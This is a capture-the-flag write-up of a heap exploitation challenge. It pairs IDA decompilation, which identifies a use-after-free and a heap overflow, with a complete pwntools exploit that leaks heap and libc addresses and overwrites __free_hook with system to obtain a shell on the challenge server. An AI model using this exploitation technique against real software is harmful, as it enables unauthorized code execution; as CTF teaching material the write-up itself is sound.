1st 🩸
Author: Nuttyshell ivan
Analyse
IDA:
unsigned __int64 delete_record() { unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); printf("Input Index: "); __isoc99_scanf("%d", &v1); if ( v1 <= 0xF && records[v1] ) { free(*(void **)(records[v1] + 0x10LL)); free((void *)records[v1]); records[v1] = 0LL; puts("Record Deleted!"); } else { puts("Invalid index!"); } return __readfsqword(0x28u) ^ v2; }
The
delete_record
function in the code presents a clear Use-After-Free (UAF) vulnerability, as it does not clear the description
pointer. This can be exploited to leak heap addresses.unsigned __int64 edit_record() { unsigned int idx; // [rsp+8h] [rbp-18h] BYREF int v2; // [rsp+Ch] [rbp-14h] BYREF __int64 v3; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); printf("Input index: "); __isoc99_scanf("%d", &idx); if ( idx <= 0xF && records[idx] ) { printf("Input Temperature: "); __isoc99_scanf("%lf", &v3); printf("Input Description Size: "); __isoc99_scanf("%d", &v2); if ( v2 <= 0x200 ) { if ( v2 > 0 ) { *(_QWORD *)records[idx] = v3; *(_DWORD *)(records[idx] + 8LL) = v2; printf("Input Description: "); read(0, *(void **)(records[idx] + 0x10LL), v2); puts("Record updated!"); } else { puts("Invalid description size!"); } } else { puts("Description too long!"); } } else { puts("Invalid index!"); } return __readfsqword(0x28u) ^ v4; }
Furthermore, the
edit_record
function has an obvious heap overflow vulnerability. This can be used to modify the size of the adjacent heap chunk so that it gets placed into the
unsorted bin
, leading to a leak of the libc address.The
records
heap chunk is used to access the description
heap chunk, which means that subsequent operations can achieve arbitrary address read and write.Exploit
exp.py:
from pwn import * elf=ELF('./pwn') # r=process('./pwn') r=remote('ash-chal.firebird.sh',36034) libc=ELF('./libc.so.6') # libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') context.log_level='debug' context.terminal=['tmux','splitw','-h'] context.arch='amd64' def create(temperature,size,data=b'\n'): r.recvuntil(b'Your choice: ') r.sendline(b'1') r.recvuntil(b'Input Temperature: ') r.sendline(bytes(str(temperature),encoding='utf8')) r.recvuntil(b'Input Description Size: ') r.sendline(bytes(str(size),encoding='utf8')) r.recvuntil(b'Input Description: ') r.send(data) def show(): r.recvuntil(b'Your choice: ') r.sendline(b'2') def delete(idx): r.recvuntil(b'Your choice: ') r.sendline(b'3') r.recvuntil(b'Input Index: ') r.sendline(bytes(str(idx),encoding='utf8')) def edit(idx,temperature,size,data): r.recvuntil(b'Your choice: ') r.sendline(b'4') r.recvuntil(b'Input index: ') r.sendline(bytes(str(idx),encoding='utf8')) r.recvuntil(b'Input Temperature: ') r.sendline(bytes(str(temperature),encoding='utf8')) r.recvuntil(b'Input Description Size: ') r.sendline(bytes(str(size),encoding='utf8')) r.recvuntil(b'Input Description: ') r.send(data) def blast(pay): r.recvuntil(b'Your choice: ') r.sendline(pay) create(1.1,0x20) create(1.1,0x18) delete(0) delete(1) create(1.1,0x18) show() r.recvuntil(b'Description: ') heap_base = u64(r.recv(6).ljust(8,b'\x00')) - 0x20a print(hex(heap_base)) create(1.1,0x20) # 1 create(1.1,0x200) # 2 create(1.1,0x200) # 3 create(1.1,0x200,b'/bin/sh') # 4 payload = flat(b'a'*0x20,0,0x21,0x3ff199999999999a,0x18,heap_base + 0x310,0x481) edit(1,1.1,len(payload),payload) # gdb.attach(r,'b*$rebase(0x1497)') delete(0) create(1.1,0x30) # 0 show() r.recvuntil(b'Description: ') libc_base = u64(r.recv(6).ljust(8,b'\x00')) - 0x1ebf0a - 0x1000 print(hex(libc_base)) system_addr = libc_base + libc.symbols['system'] free_hook = libc_base + libc.symbols['__free_hook'] payload = flat(b'a'*0x20,0,0x21,0x3ff199999999999a,0x30,free_hook,0x41) edit(1,1.1,len(payload),payload) edit(0,1.1,8,flat(system_addr)) delete(4) # gdb.attach(r,'b*$rebase(0x1876)') r.interactive()
GLHF~